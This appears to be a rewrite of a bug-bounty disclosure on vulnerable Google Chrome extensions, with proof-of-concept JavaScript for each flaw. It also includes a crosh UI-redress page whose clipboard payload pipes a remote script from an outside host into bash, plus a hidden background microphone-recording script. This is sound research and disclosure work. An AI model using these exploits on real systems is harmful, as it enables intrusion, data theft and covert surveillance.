Google Extensions
Multiple Google Chrome extensions had vulnerabilities such as insecure externally_connectable origins, missing origin checks on message listeners, and open redirects, allowing attackers to achieve remote code execution, leak sensitive browser logs, bypass the same-origin policy, and spoof URLs. These flaws could be exploited by malicious websites or compromised renderers to perform actions like reading local files, stealing access tokens, or clicking elements on other pages.
The reward total in the post title does not include other people’s bugs that this writeup includes but does include that bug from Proton that’s notably not a Google extension. This may not reflect the actual money received.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a broad audit of browser extensions developed by Google, carried out with the help of a Vulnerability Research Grant from Google of $500. The reward total in the post title does not include other people's bugs that the write-up includes, but does include a bug from Proton that is notably not a Google extension, so it may not reflect the actual money received. Google has since added guidelines for the Chrome Extension VRP.
The target class is Chrome extensions: content scripts injected from an extension into a website, background scripts or extension service workers running separately from websites, and the messaging APIs that connect them. The write-up opens with a set of notes that frame everything that follows:
- Content scripts are code injected from extensions to run on a website.
- Background scripts or extension service workers are background code running separately from websites.
- Content scripts exist in an isolated world but run in the same process as the attacker-controlled website. They can be attacked via Meltdown/Spectre or a compromised renderer; some extensions may allow for bypassing site isolation this way.
- Background scripts using
XMLHttpRequestwill send cookies as ifxhr.withCredentials = true, even if it is false, and are able to read whatever the extension has access to. chrome.storagecan't be trusted (referencing thechrome.storage.setAccessLevelissue).- CSP prevents some XSS.
MessageSender.origindoesn't exist on Firefox, so you may need to use the URL.- Compromised renderers that never run a content script shouldn't be able to spoof
runtime.sendMessage. - WAR (web accessible resources) is initiator based; it is not the same as embed protection such as by using a CSP.
- A useful website for viewing extension source code is the crxviewer.
For more background the write-up points to "Deep Dive into Site Isolation (Part 2)" and to a chromium-extensions mailing list introduction, plus an attempt at enforcing site isolation for SponsorBlock with its third party player support and an article on the Cloudflare Workers security model.
Setup
The methodology is built around a local mirror of extension source code:
- Create a directory that has automatically synced and beautified source code from Google-owned browser extensions hosted in the Chrome Web Store.
- Search for keywords such as
.onMessage,.onConnect,.onRequest,.onMessageExternaland audit messages to background pages. - Make sure nothing sensitive is stored in
chrome.storage; it is viewable usingchrome.[redacted].get(null, console.log);andchrome.storage.sync.get(null, console.log);. - Search
externally_connectableandcontent_scriptsfor unsafe origins such ashttp://*.google.comandhttps://storage.googleapis.com. - Check for a message listener accessible to
postMessageand verify the senders allowed. - Try searching for all XSS sinks such as
scripting.executeScript,document.write,innerHTML =,location.href =,open(). - Run CodeQL.
- Check
web_accessible_resourcesfor clickjacking; scripts here will also bypass the site's CSP.
The write-up also gives a shell loop for downloading the latest extension source code, which fetches each CRX from the Chrome Web Store update endpoint, unzips it and runs Prettier over the result:
rm -rf extensions/*
sudo apt install unzip
npm -g install prettier
# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
wget "https://clients2.google.com/service/update2/crx?response=redirect&os=cros&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=[redacted]&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
unzip $extensionID.zip -d extensions/$extensionID
rm $extensionID.zip
chmod -R 777 extensions/$extensionID
prettier --write extensions/$extensionID
done
The extensions.txt list may include extensions that are not considered official Google apps. It contains a long list of extension IDs, including lmjegmlicamnimmfhcmpkclmigmmcbeh (Application Launcher for Drive), lfmkphfpdbjijhpomgecfikhfohaoine (Perfetto UI), kgejglhpjiefppelpmljglcjbhoiplfn (Screen Reader), kejbdjndbnbjgmefkgdddjlbokphdefk (Tag Assistant Legacy), iodihamcpbpeioajjeobimgagajmlibd (Secure Shell), lpjhcgjbicfdoijennopbjooigfipfjh (Form Troubleshooter), llpfnmnallbompdmklfkcibfpcfpncdd (Tag Assistant for Conversions Beta), ohbmencljkleiedahijfkagnmmhbilgp (Long Descriptions in Context Menu), jimgomcnodkialnpmienbomamgomglkd (Gerrit FE Dev Helper), fadclbipdhchagpdkjfcpippejnekimg (AMP Readiness Tool), ahfhijdlegdabablpippeagghigmibma (Web Vitals), emahakmocgideepebncgnmlmliepgpgb (Chrome Reporting Extension), gmbmikajjgmnabiglmofipeabaddhgne (Save to Google Drive), ghmbeldphafepmbegfdlkpapadhbakde (Proton Pass), bhdplaindhdkiflmbfbciehdccfhegci (Google Optimize), hbmclfdibpffglligfnnppjocdlhgjbb (Screenwise Meter) and aghmgfkjfbkcockededacdhemkpgdcko (Mandiant Advantage).
Finding it
The findings below came out of that sweep. Each one is a different extension and a different mistake, but the recurring theme is trust in message senders and in origins.
RCE in Application Launcher For Drive (Fixed, Awarded $3133.70)
The extension is Application Launcher for Drive (lmjegmlicamnimmfhcmpkclmigmmcbeh), which pairs with Drive for desktop. The lax rule that allows insecure origins is:
"externally_connectable": { "matches": [ "://.google.com/*" ] }
Perfetto UI leaks sensitive browser logs (Fixed, Awarded $5000)
Perfetto UI (lfmkphfpdbjijhpomgecfikhfohaoine) is a Chrome extension by Google for recording browser traces. It communicates with ui.perfetto.dev to record the browser traces, and it is particularly powerful because it is hardcoded to receive special treatment from Chrome (ExtensionIsTrusted). However, the manifest shows it can also connect to storage.googleapis.com, a domain used for storing arbitrary Google Cloud buckets that can be created by anyone:
"externally_connectable": {
"matches": [
"*://localhost/*",
"*://[redacted]/*",
"https://*.perfetto.dev/*",
"https://storage.googleapis.com/*"
]
}
SOP bypass using the Screen Reader extension (Fixed, Awarded $5000)
Screen Reader (kgejglhpjiefppelpmljglcjbhoiplfn) is an accessibility extension by Google whose source code is available in the chromium repository. It exposes various commands that can be called. The message listeners do not check the origin of the incoming message. One of these commands is clickNodeRef, which, with the help of selector injection, can be used to click any element in the DOM using an arbitrary selector.
SOP bypass using Tag Assistant Legacy (Fixed, Awarded $5000)
Tag Assistant Legacy (kejbdjndbnbjgmefkgdddjlbokphdefk) was downgraded as it needs a compromised renderer; maybe CPU bugs work as well.
Leaking URLs using Tag Assistant Legacy extension (Fixed, Awarded $6267.4)
The same extension, a second issue: recorded issues and status messages expose the URLs of visited tabs.
XSS on [redacted]:8090 (Accepted, Deprecated)
Coding with Chrome (becloognjehhioodmnimnehjcibkloed) hosts user controlled code on localhost for isolation, but it does not verify the sender of the messages or use a null origin.
Limited URL Spoof via the Secure Shell extension (Partly Fixed, Not rewarded)
Secure Shell (iodihamcpbpeioajjeobimgagajmlibd) exposes html/nassh.html as a web accessible resource, and the openas parameter can put the current tab into fullscreen without user interaction.
SOP bypass using the Form Troubleshooter extension (Fixed, Not an official google app)
Form Troubleshooter (lpjhcgjbicfdoijennopbjooigfipfjh) is a project from Google Chrome Labs. It adds a content script to all pages which responds back with the DOM tree of the current document, and it accepts messages from any page that has a reference to the window.
URLs leak in Tag Assistant for Conversions Beta (Partly Fixed, Unlikely user interaction)
Tag Assistant for Conversions Beta (llpfnmnallbompdmklfkcibfpcfpncdd) leaks tab URLs through its message API.
Long Descriptions in Context Menu
"Long Descriptions in Context Menu" (ohbmencljkleiedahijfkagnmmhbilgp) is an accessibility extension by Google. It adds a context menu item which opens a new tab to a URL provided by the website, with no restrictions on what the URL can be.
UXSS using the Gerrit FE Dev Helper with a compromised renderer (Not an official Google app)
Gerrit FE Dev Helper (jimgomcnodkialnpmienbomamgomglkd) is an extension by Google intended for frontend Gerrit developers. Its stored rules can inject JavaScript into pages.
AMP Readiness Tool (Not an official Google app)
AMP Readiness Tool (fadclbipdhchagpdkjfcpippejnekimg) responds to a get_apps message with HTML.
URLs leak in Web Vitals (Fixed, Not an official google app but labeled as one on web.dev)
Web Vitals (ahfhijdlegdabablpippeagghigmibma) stores visited locations in chrome.[redacted]. ChromeVox has a similar issue which never got fixed.
Site usage data leak in Chrome Reporting Extension (Accepted, Not rewarded)
Chrome Reporting Extension (emahakmocgideepebncgnmlmliepgpgb) stores active sites in chrome.[redacted]. This extension requires setup to work: create DWORD report_user_browsing_data with the value of 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy.
SOP bypass with save to drive extension (Accepted, Not rewarded)
Save to Google Drive (gmbmikajjgmnabiglmofipeabaddhgne) stores the folder ID of where to store files in chrome.storage.sync.
ChromeOS RCE via the Secure Shell extension (Fixed, Unlikely user interaction)
Secure Shell again, this time on ChromeOS: the extension exposes html/nassh.html as a web accessible resource, which can be used to access Crosh (the ChromeOS shell) and can be embedded by any webpage without restrictions.
Content injection / CSP-prevented XSS in the Secure Shell extension (Fixed)
The mosh_window.html page takes a base64 args parameter and applies it as attributes of an embed tag. JS is prevented by CSP, but CSS is not.
Leaking passwords from Proton Pass (Awarded $200, Not a google app)
Proton Pass (ghmbeldphafepmbegfdlkpapadhbakde) does not verify the sender of the EXPORT_REQUEST message.
UXSS by Google Optimize extension (Deprecated, Awarded $500)
Google Optimize (bhdplaindhdkiflmbfbciehdccfhegci) has a "Global Javascript" feature that can be pointed at a site of the attacker's choosing.
Screenwise Meter (Not a official google app)
Screenwise Meter (hbmclfdibpffglligfnnppjocdlhgjbb) has a login CSRF (leaking browser activity), a WAR bypass via chrome.runtime.sendMessage, and an auth token leaked via chrome.[redacted].
Mandiant Advantage | Threat Intelligence (Not reported, part of Google Cloud)
Mandiant Advantage (aghmgfkjfbkcockededacdhemkpgdcko) leaks slackWebhook, teamsWebhook and token to a compromised renderer via chrome.[redacted].
Dart Debug Extension (Out of scope)
Reported upstream in the dart-lang/webdev issue tracker.
Exploitation
RCE in Application Launcher For Drive
Run the following on any Google subdomain, including insecure http:// ones. The code runs a VBS script on the victim, resulting in RCE:
let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {
name: 'com.google.drive.nativeproxy'
});
let request =
'native_opener/v2/3/' +
btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]');
api.postMessage(request);
The code opens a port to the extension named com.google.drive.nativeproxy and posts a native_opener/v2/3/ request whose base64 payload carries the victim's email, a shared file ID and two other strings. The attack scenario: an attacker on the same network, or a browser extension or XSS on any Google subdomain, can send messages to a proxy that opens whatever file they want shared in their Google Drive as long as it is synced; this could be used to run malware. No "Mark Of The Web" is set.
The demo consists of an extension and a video. It was fixed by changing externally_connectable to only https://docs.google.com/* and https://drive.google.com/*; browser extensions with <all_urls> can still get an RCE with it (WAI). The write-up suggests this could be fixed by adding https://*.google.com to runtime_blocked_hosts, as done in DomainProtect.
Perfetto UI leaks sensitive browser logs
Anyone hosting a page on storage.googleapis.com can fully communicate with the extension to record and read browser traces. The traces contain info such as Chrome logs, IPC flows, network logs, and over 150 more categories. Sensitive values from the logs are supposed to be stripped, but this filtering is not perfect and many sensitive values are leaked, such as URLs and response headers of Chrome traffic, which contain, for example, access tokens from the "Authorization" headers.
Steps to reproduce:
- Install the Perfetto UI extension.
- Open an attacker page that's hosted in a Google Cloud Storage bucket.
- Enjoy.
The PoC essentially loads a copy of the Perfetto UI frontend in an iframe, then configures it and clicks the Start button using JS. After 15s, the hidden iframe is revealed, showing the data that was recorded. The PoC page can access all of this data. To easily see the leaked data, convert the trace by clicking "Convert to .json" in the left menu.
This is an example of how the page can communicate with the extension:
port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});
The page opens a port to the extension, logs every message it receives and asks for the categories. Attack scenario:
- An attacker sends a link to the page to a victim who has the Perfetto UI extension installed.
- Once the victim opens the link, the attacker's page will record and save the victim's browser logs (which contain the browser "netlog" with access tokens, among others).
This was fixed by removing https://storage.googleapis.com/ from externally_connectable.
SOP bypass using the Screen Reader extension
The clickNodeRef command, combined with selector injection, clicks any element in the DOM using an arbitrary selector:
channel = new MessageChannel();
win.postMessage('cvox.PortSetup', '*', [channel.port2]);
channel.port1.postMessage(
JSON.stringify({
cmd: 'clickNodeRef',
args: [{cvoxid: '"], ' + selector + ', *[x="'}]
})
);
The page sets up a MessageChannel with the target window, hands one port over through cvox.PortSetup, and then sends a clickNodeRef command with a crafted cvoxid argument that includes the attacker's own selector. Therefore, a malicious page with a reference to any other cross-origin page can click elements on that page, bypassing the same-origin policy. This allows an easy and unlimited way of performing clickjacking on any web page, even those with framing protections, except pages with COOP. It can be used to perform actions on behalf of the user on other websites. The PoC shows a completely automated way of granting a sensitive OAuth permission without the user's knowledge.
Steps to reproduce:
- Open
https://vuln-chrome-vox-extension.websec.blog/poc.html. - Click in the page.
After a few seconds, you should see in https://myaccount.google.com/permissions that the PoC app has access to your Google account.
Apart from this vulnerability, there might be other possible security issues with this extension. For example, the following code does not sanitise user input; this could potentially lead to UXSS if it is exploited (the write-up notes it was not analysed yet, but also looks vulnerable):
var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;
Attack scenario:
- The attacker sends a link to a victim who uses the Screen Reader accessibility extension.
- The victim opens the page and the attack takes place in the background.
- The attacker can now access the victim's account.
This was fixed by removing the clickNodeRef method.
SOP bypass using Tag Assistant Legacy
Downgraded as it needs a compromised renderer; maybe CPU bugs work as well.
chrome.runtime.sendMessage(
{message: 'LoadScript', url: 'http://[redacted]'},
console.log
);
The message asks the extension to load a script from http://[redacted] and passes console.log as the callback.
An alternative way: the new security check has a list of allowed origins, however there are open redirects. This only worked for the application/javascript content type.
chrome.runtime.sendMessage(
{
message: 'LoadScript',
url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'
},
console.log
);
The URL points at an allowed Google advertising domain with an adurl parameter pointing to http://localhost:8000/x.js. Attack scenario: a compromised renderer can bypass the same origin policy.
Leaking URLs using Tag Assistant Legacy
Change the JS execution context to the Tag Assistant Legacy's content script, and execute:
chrome.runtime.sendMessage(
{message: 'GetRecordedIssues', tabId: '<TabID>'},
(a) => {
console.log(a.statusInfos[0].page.url);
}
);
The callback logs a.statusInfos[0].page.url. An alternative way (a different report):
let port = chrome.extension.connect({name: 'popup'});
port.onMessage.addListener((a) => {
console.log(a.url);
});
port.postMessage({message: 'Status', tabId: '<TabID>'});
Attack scenario: a compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
XSS on [redacted]:8090
For isolation the extension hosts user controlled code on localhost, however it does not verify the sender of the messages or use a null origin.
let x = window.open('http://[redacted]:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> { console.log(a.data) x.postMessage({name: "__exec__", value:"alert(origin)"}, "*") }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)
The code opens the preview page on localhost, listens for messages, and posts __exec__ and __handshake__ messages to it. Attack scenario: an attacker controlled website can get XSS on localhost, which may be trusted by applications since it refers to the user's local machine.
Limited URL Spoof via the Secure Shell extension
A page can load or embed chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh to make the current tab fullscreen without user interaction. Impacts:
- Able to enter full screen while the user is away from their device (no fullscreen message would be seen).
- Able to make full screen exit commands not work.
The relevant code:
// Allow users to bookmark links that open as a window.
const openas = params.get('openas');
switch (openas) {
case 'window': {
// Delete the 'openas' string so we don't get into a loop. We want to
// preserve the rest of the query string when opening the window.
params.delete('openas');
const url = new URL(document.location.toString());
url.search = params.toString();
openNewWindow(url.href).then(() => globalThis.close);
return;
}
case 'fullscreen':
case 'maximized':
chrome.windows.getCurrent((win) => {
chrome.windows.update(win.id, {state: openas});
});
break;
}
Repeatedly entering fullscreen was fixed by removing the opener reference.
SOP bypass using the Form Troubleshooter extension
The extension adds a content script to all pages, which responds back with the DOM tree of the current document. The issue is that it accepts messages by any page that has a reference to the window:
window.addEventListener('message', async (event) => {
if (event.data?.message === 'iframe message') {
const messageType = event.data?.data?.type;
if (messageType === 'inspect') {
sendPostMessageResponse(event, await getDocumentTree(document));
}
[...]
}
});
This means that a page can get the document tree of any other page it has a reference to.
Steps to reproduce:
- Open https://example.com
- Run:
onmessage = console.log;
x = window.open('https://facebook.com');
setTimeout(() => {
x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
- Observe that the document tree gets leaked.
Attack scenario:
- An attacker sends a link to the page with this payload to a victim who has the Form Troubleshooter extension installed.
- Once the victim opens the link, the attacker's page will be able to get the document tree of any web page that does not have an explicit Cross-Origin-Opener-Policy header (via
window.open) OR that does not prevent being framed (iframe).
This was fixed by adding an origin check.
URLs leak in Tag Assistant for Conversions Beta
Click the start button via the extension's popup, then go to https://example.org/?secret. In the context of the content script on an attacker controlled website:
chrome.runtime.sendMessage({messageType: 6}, (tabInfo) => {
for (let page in tabInfo.pages) {
console.log(tabInfo.pages[page].info.url);
}
});
The callback iterates over tabInfo.pages and logs each info.url. An alternative way, a leak on navigation:
chrome.runtime.onMessage.addListener((e) => {
console.log(JSON.stringify(e));
});
Attack scenario: a compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token, and other data, such as cookie names.
Long Descriptions in Context Menu
Steps to reproduce:
- Install the extension.
- Open
https://vuln-long-desc-extension.websec.blog/poc.html.
<body
longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
<h1 style="pointer-events: none;">
Right click and select "Open Long Description In New Tab"
</h1>
</body>
- Right click and select "Open Long Description In New Tab".
Attack scenario:
- The victim opens the attacker's website and clicks the context menu item.
- A new tab with an arbitrary URL will be created with
sec-fetch-site: none, which can be abused to chain a full exploit, for example:- read local files, by opening a downloaded html file (deprecated) with a renderer exploit or via XSLeaks.
- bypass web accessible resources navigation restrictions.
The rationale given for the reward decision: for bugs which require a renderer exploit, Google usually offers financial rewards for bugs which only require a single user interaction (i.e. a click), because a bug which requires multiple user interactions from a victim is normally not used with a renderer exploit (due to likelihood of unsuccessful attacks, there is more risk of a renderer exploit being wasted). Google also looked at the 2 attack scenarios provided. On achieving UXSS by navigating to a javascript: URI and using a renderer exploit: the bug mentioned is already fixed by Chrome, and therefore Google does not believe UXSS is possible with this bug, but is happy to be proven wrong. On reading local files by opening a downloaded html file with a renderer exploit, Google believes the following steps are necessary: download a malicious HTML file, ask the user to right-click and click "Open Long Description In New Tab", which opens the malicious HTML file downloaded in step 1, and it can now read other files. This means that on top of the multiple user interactions requirement in step 2, download of a malicious file in step 1 is also visible to the victim, so the likelihood of a successful attack further decreases. Google thanked the researcher, calling it definitely a valid bug.
UXSS using the Gerrit FE Dev Helper with a compromised renderer
- Install the extension.
- Open https://example.com/.
- Open the DevTools console and select the "Gerrit FE Dev Helper" context.
- Run:
chrome.storage.sync.set({
rules: [
{
destination: 'alert(window.origin)',
disabled: false,
isNew: false,
operator: 'injectJSCode',
target: ''
}
]
});
// Now open a tab (https://google.com) and click the extension action icon
This can also be done via chrome.runtime.sendMessage. Attack scenario: if the victim visits a site that has a compromised renderer (can access the content script) and enables the extension, the site will be able to bypass the same-origin policy. The fix is unverified.
AMP Readiness Tool
window.onclick = () => {
open('https://www.google.com');
setTimeout(() => {
chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, (e) => {
console.log(e.html);
});
}, 3000);
};
The code opens Google on a click, then after three seconds sends a get_apps message and logs e.html.
URLs leak in Web Vitals
chrome.[redacted].get(null, (results) => {
for (let hash in results) {
console.log(results[hash].location);
}
});
The code reads all of chrome.[redacted] and logs each entry's location. This was fixed in the web-vitals-extension repository.
Site usage data leak in Chrome Reporting Extension
In the context of the content script on an attacker controlled site run:
chrome.[redacted].get('activeSites', (e) => {
for (let url in JSON.parse(e.activeSites)) console.log(url);
});
Attack scenario: a compromised renderer can leak visited URLs (origin + pathname), enough to leak unlisted Google Doc IDs.
SOP bypass with save to drive extension
The extension stores the folder ID of where to store files in chrome.storage.sync; with a compromised renderer this can leak their folder if it's set to "with a link" and changed to an attacker controlled value. This can only happen after the content script is injected, which happens when the user clicks the extension icon or uses upload.html directly from a browser extension.
To get the attacker's chosen page saved:
chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>
By changing the action id aid from image-entire to html, it will leak the source code of the page to the folder. This is exploitable from a browser extension with the Tabs API. To spoof the context menu and trick the user into leaking an unexpected URL:
<img src="https://github.com/opensearch.xml" />
Right click and save image to drive; this element could be overlapped with a duck image. Potential fix:
- Check content-type for an image.
- Don't include credentials unless the image is same-site (including redirects).
Attack scenario: a malicious attacker could exploit this to bypass SOP.
ChromeOS RCE via the Secure Shell extension
OS: ChromeOS (regular or dev mode). Dev mode allows shell access, regular mode allows only predefined commands. Requires the Secure Shell extension by Google to be installed; together with the old version they have over 1 million users. The extension exposes html/nassh.html as a web accessible resource, which can be used to access Crosh (ChromeOS shell) and can be embedded by any webpage without restrictions. This way, a malicious website can make the user interact with the shell without the user knowing. There is some user interaction required, but this could be made inconspicuous to the user by making it a part of a game, for example.
Steps to reproduce:
- Make sure the Secure Shell extension is installed.
- Open poc.html.
- Follow the instructions in the page (Ctrl+Shift+V, Enter, Ctrl+Shift+V, Enter).
- Notice that
cat /etc/passwd(or an arbitrary Linux command) has been executed.
Alternatively, you can right-click instead of Ctrl+Shift+V (poc-rightclick.html). If developer mode is enabled, the shell command runs and gives access to the system shell. In the regular user mode, the Crosh shell allows executing any of the predefined commands, which could possibly be exploited to gain access to the system shell. The PoC works best with dev mode enabled; in regular mode the shell command will fail, but the issue will still be demonstrated. Another potential attack vector would be to connect to devices in the local network that often have default credentials, for example html/nassh.html#[redacted].
The PoC page:
<!doctype html>
<html>
<head>
<style>
html,
body {
font-family: sans-serif;
overflow: hidden;
}
#croshFrame {
position: absolute;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
opacity: 0.000000001;
pointer-events: none;
}
#croshFrame.show {
opacity: 0.5;
}
#croshFrame.enablePointerEvents {
pointer-events: auto;
}
#instructions {
font-size: 2em;
font-weight: bold;
text-align: center;
}
#inputElem {
opacity: 0.000000001;
}
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>
(Frame will autoshow sometime around the last step. Use ?show to show
iframe on page load. Use ?danger to run remote bash script.)
</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem" />
<iframe id="croshFrame"></iframe>
<script>
var showFrame = () => {
croshFrame.classList.add('show');
};
var shouldShow = window.location.search.indexOf('show') > -1;
if (shouldShow) {
showFrame();
}
var setClipboard = async (text) => {
const type = 'text/plain';
const blob = new Blob([text], {type});
const data = [new ClipboardItem({[type]: blob})];
await navigator.clipboard.write(data);
};
var setupPayload1 = () => {
console.info('Setup payload 1');
var setPayload1 = async () => {
console.info('Setting payload 1');
var clipboardSuccess = false;
try {
var dangerZone = window.location.search.indexOf('danger') > -1;
if (dangerZone) {
// Use payload below if you trust me (does nothing malicious)
await setClipboard(
'shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash'
);
} else {
await setClipboard('shell || cat /etc/passwd');
}
clipboardSuccess = true;
} catch (e) {
instructions.innerText = 'Please press space or any letter key.';
}
if (clipboardSuccess) {
window.removeEventListener('keydown', setPayload1);
croshFrame.src =
'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
instructions.innerText = 'Please wait...';
}
};
window.addEventListener('keydown', setPayload1);
};
var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
// First load isn't a usable prompt
frameLoadCount++;
if (frameLoadCount >= 2) {
setTimeout(() => {
// Slight delay to allow crosh to initialize and be ready for input
// Ctrl+J can also be used instead of Enter.
instructions.innerText =
'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
setTimeout(() => {
showFrame();
croshFrame.classList.add('enablePointerEvents');
}, 8000);
}, 500);
}
});
setupPayload1();
// Focus page so we get user activation with first valid keypress every time
inputElem.focus();
</script>
</body>
</html>
After the second load event it instructs the user to paste with Ctrl+Shift+V and press Enter, twice, and later reveals the frame. The ?danger query parameter swaps the harmless cat /etc/passwd payload for a remote bash script fetched with curl.
In production mode (no shell available) with Linux enabled, the following impacts are confirmed. An attacker can open a Linux shell either in the Termina VM or within a container. Once the attacker has a Linux shell, an attacker can run an arbitrary shell script with a single copy/paste step. Using a script or running arbitrary containers can reduce the number of steps shown below (which are for manual repro, so has more verbose steps).
To get a Linux shell in the Termina VM, run in crosh: vmc start termina. To get a Linux shell in a container, run in crosh: vmc container termina test-t1 --timeout 120 (note that vmc container commands usually need higher timeouts on the researcher's physical Chromebook). The malicious payloads can be run on a delay or in the background, so they don't necessarily occur when the user is still on the attacker page, which can make some attacks more difficult to detect and stop.
Run arbitrary container
Arbitrary containers can run attacker commands without further user input, which can save a copy/paste step and save setup time in more complex attacks (since the attacker doesn't need to set up the default container with their tools). The researcher had not prepared a custom image, so the Arch Linux image is used as an example, but this can be an attacker-controlled server and container.
Repro steps in crosh, based on the Arch Linux Crostini wiki steps:
- In crosh, run
vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120.
After running the command above, the container will be run on the target device. Because Arch doesn't have the ChromeOS guest tools, you will see an error message, but this can be disregarded. If you go into the VM with vsh termina in crosh, then run lxc list in the VM, you will see the Arch container is running. You can further verify this by running lxc exec arch -- bash in the VM.
Open arbitrary URL or file in browser if path is known
Repro steps in crosh:
- In crosh, run
vmc container termina penguin. - Within the container, run
/opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt.
This bypasses the popup blocker and bypasses restrictions that prevent web pages from opening file URLs. It can open arbitrary http(s), file, data, ftp and mailto URLs. The allowed schemes are defined in ash/dbus/url_handler_service_provider.cc, and the calls are rate-limited to 10 calls per 15 seconds in container_listener_impl.cc.
Read/write from known directories within MyFiles
Arbitrary read/write of user files if we know the directory name within MyFiles. A default directory is the "Downloads" folder, which is likely to contain sensitive data for many users. This can be used to exfiltrate data or tamper with files within the mounted directories.
Repro steps in crosh:
- In crosh, run
vmc share termina Downloads.
This mounts the directory in the VM at /mnt/shared/MyFiles/Downloads/ and also mounts it in the container at /mnt/chromeos/MyFiles/Downloads/. Once mounted, an attacker can access these by running code within the VM or container (attacker's choice). Path traversal and other bad paths are checked in seneschal/service.cc; Service::SharePath() is called with SharePathRequest::MY_FILES.
Capture microphone input
Repro steps in crosh:
- In crosh,
vmc start termina --enable-audio-capture. - In crosh,
vmc container termina test-t1 --timeout 120(you may need to try this several times until the container is running; error messages can be misleading). - In the container,
sudo apt install sox. - In the container,
rec -t alsa.
After step 4, observe the audio bars in the terminal showing input from the microphone. ChromeOS will also show a notification. The in-container commands can be automated if using an attacker-controlled container. ChromeOS shows a notification saying "Linux is using your microphone", which is hidden after a few seconds. The only ongoing indication of microphone access is a microphone icon in the notification tray, and the notification itself when you open the tray. When a user clicks the microphone access notification, the Settings app is opened to the Linux page; however, a user cannot revoke the microphone access on this screen, since the toggle will still be off for microphone access despite the container having access (which also sounds like something that should be fixed in the Settings app). The only way to stop this is to stop the container or VM, or for a more typical user, restart the whole system. You can stop it by running vmc stop termina in crosh.
Camera input is not supported by Termina VMs. It seems supported by ARC (Android), PluginVM (Parallels?) and Borealis (Steam) VMs. If any of these supported VMs are available in the target system and are accessible via crosh, an attacker may also be able to access the camera (unconfirmed, but seems likely based on code analysis).
As a demonstration of performing this in the background, replace steps 3 and 4 with the Bash script hosted at https://aogarantiza.com/chromium/crosh-payload-2.txt (which can be run by an attacker with curl ... | bash):
#!/bin/bash
run_payload() {
sleep 10
sudo apt install sox
sleep 10
rec -t alsa
}
echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &
Set WireGuard configuration
The researcher is unsure if this is useful to an attacker. It is possible to set a WireGuard VPN config via the crosh wireguard command, but DNS does not work until "automatically configure network settings" is toggled in the GUI. Maybe someone with more experience configuring WireGuard can figure out how to make this useful for an attacker; if it does work, it might allow attackers to tunnel traffic through their WireGuard server and potentially hijack DNS. No notification is shown when WireGuard is connected, but a notification is shown when it is disconnected.
This was fixed by adding frame-ancestors 'self'; to the extension's content_security_policy.
Content injection / CSP-prevented XSS in the Secure Shell extension
- Download the Secure Shell extension.
- Go to
chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=[redacted]=(this could be done directly or via a WAR bypass). - See cat.
The args from the URL gets base64 decoded and set as attributes for an html embed tag. While JS is prevented due to the CSP, it still allows for CSS.
Leaking passwords from Proton Pass
Due to site isolation it should be expected that an attacker controlled process (a content script) should not gain access to a different site's passwords since it would be process isolated. However, Proton Pass does not verify the sender of the EXPORT_REQUEST message, allowing a renderer bug to leak in unencrypted form all the user's passwords.
// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;
// Dump database
chrome.runtime.sendMessage(
{type: 'EXPORT_REQUEST', payload: {encrypted: false}},
(result) => {
console.log(atob(result.data));
}
);
While the data in chrome.[redacted] is shared to the content script which uses the same process as attacker controlled websites, this is in encrypted form so not that useful, but this could be improved by using the localStorage API directly in the background process. The researcher also thinks they saw an access token. MV3 service workers don't allow localStorage but there are other alternatives. The fixes are unverified.
UXSS by Google Optimize extension
Summary of the attack:
- Google Optimize has a "Global Javascript" feature.
- An attacker can set up this feature to execute malicious Javascript code on the site of their choosing.
- The attacker invites the user (with the Google Optimize extension installed) to their account, which causes this code to execute after redirecting to any site. The UXSS runs when you click on the blue edit button.
The token for the payload was stored in chrome.[redacted], so the user interaction (which got WAI) is not needed if you have a compromised renderer. A video demonstrates the flow.
Screenwise Meter
- Login CSRF (leaking browser activity).
- WAR bypass via
chrome.runtime.sendMessage. - Auth token leaked via
chrome.[redacted].
Mandiant Advantage | Threat Intelligence
Leaks slackWebhook, teamsWebhook and token to a compromised renderer via chrome.[redacted].
Root cause
